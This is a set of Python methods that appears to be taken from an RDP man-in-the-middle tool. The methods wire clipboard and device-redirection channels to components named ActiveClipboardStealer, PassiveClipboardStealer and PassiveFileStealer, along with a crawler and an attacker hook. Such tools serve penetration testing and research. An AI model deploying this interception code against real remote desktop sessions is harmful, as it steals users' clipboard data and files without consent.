def buildClipboardChannel(self, client: MCSServerChannel, server: MCSClientChannel): """ Build the MITM component for the clipboard channel. :param client: MCS channel for the client side :param server: MCS channel for the server side """ clientSecurity = self.state.createSecurityLayer( ParserMode.SERVER, True) clientVirtualChannel = VirtualChannelLayer() clientLayer = ClipboardLayer() serverSecurity = self.state.createSecurityLayer( ParserMode.CLIENT, True) serverVirtualChannel = VirtualChannelLayer() serverLayer = ClipboardLayer() clientLayer.addObserver( LayerLogger(self.getClientLog(MCSChannelName.CLIPBOARD))) serverLayer.addObserver( LayerLogger(self.getServerLog(MCSChannelName.CLIPBOARD))) LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer) LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer) mitm = ActiveClipboardStealer(clientLayer, serverLayer, self.getLog(MCSChannelName.CLIPBOARD), self.recorder, self.statCounter) self.channelMITMs[client.channelID] = mitm
def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel): """ Build the MITM component for the device redirection channel. :param client: MCS channel for the client side :param server: MCS channel for the server side """ clientSecurity = self.state.createSecurityLayer(ParserMode.SERVER, True) clientVirtualChannel = VirtualChannelLayer(activateShowProtocolFlag=False) clientLayer = DeviceRedirectionLayer() serverSecurity = self.state.createSecurityLayer(ParserMode.CLIENT, True) serverVirtualChannel = VirtualChannelLayer(activateShowProtocolFlag=False) serverLayer = DeviceRedirectionLayer() clientLayer.addObserver(LayerLogger(self.getClientLog(MCSChannelName.DEVICE_REDIRECTION))) serverLayer.addObserver(LayerLogger(self.getServerLog(MCSChannelName.DEVICE_REDIRECTION))) LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer) LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer) deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.statCounter, self.state) self.channelMITMs[client.channelID] = deviceRedirection if self.config.enableCrawler: self.crawler.setDeviceRedirectionComponent(deviceRedirection) if self.attacker: self.attacker.setDeviceRedirectionComponent(deviceRedirection)
def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: """ :type mcs: MCSLayer :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSServerChannel that handles the device redirection virtual channel traffic from the client to the MITM. """ # Create all necessary layers channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer( activateShowProtocolFlag=False) deviceRedirectionLayer = DeviceRedirectionLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, deviceRedirectionLayer) # Create and link the MITM Observer for the server side to the device redirection layer. # Also link both MITM Observers (client and server) so they can send traffic the other way. peer = self.client.getChannelObserver(channelID) observer = PassiveFileStealerServer( deviceRedirectionLayer, self.recorder, self.client.deviceRedirectionObserver, self.log) observer.setPeer(peer) deviceRedirectionLayer.addObserver(observer) return channel
def buildClipboardChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: """ :type mcs: MCSLayer :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSServerChannel that handles the Clipboard virtual channel traffic from the client to the MITM. """ # Create all necessary layers channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer() clipboardLayer = ClipboardLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, clipboardLayer) # Create and link the MITM Observer for the server side to the clipboard layer. # Also link both MITM Observers (client and server) so they can send traffic the other way. peer = self.client.getChannelObserver(channelID) passiveClipboardObserver = PassiveClipboardStealer( clipboardLayer, self.recorder, self.log) peer.passiveClipboardObserver = passiveClipboardObserver passiveClipboardObserver.setPeer(peer) clipboardLayer.addObserver(passiveClipboardObserver) return channel
def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSClientChannel: """ :param mcs: The MCS Layer to transport traffic :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSClientChannel that handles the Device redirection virtual channel traffic from the server to the MITM. """ # Create all necessary layers channel = MCSClientChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer( activateShowProtocolFlag=False) deviceRedirectionLayer = DeviceRedirectionLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, deviceRedirectionLayer) # Create and link the MITM Observer for the client side to the device redirection layer. self.deviceRedirectionObserver = PassiveFileStealerClient( deviceRedirectionLayer, self.recorder, self.log) deviceRedirectionLayer.addObserver(self.deviceRedirectionObserver) self.channelObservers[channelID] = self.deviceRedirectionObserver return channel
def buildClipboardChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSClientChannel: """ :param mcs: The MCS Layer to transport traffic :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSClientChannel that handles the Clipboard virtual channel traffic from the server to the MITM. """ # Create all necessary layers channel = MCSClientChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer() clipboardLayer = ClipboardLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, clipboardLayer) # Create and link the MITM Observer for the client side to the clipboard layer. activeClipboardObserver = ActiveClipboardStealer( clipboardLayer, self.recorder, self.log) clipboardLayer.addObserver(activeClipboardObserver) self.channelObservers[channelID] = activeClipboardObserver return channel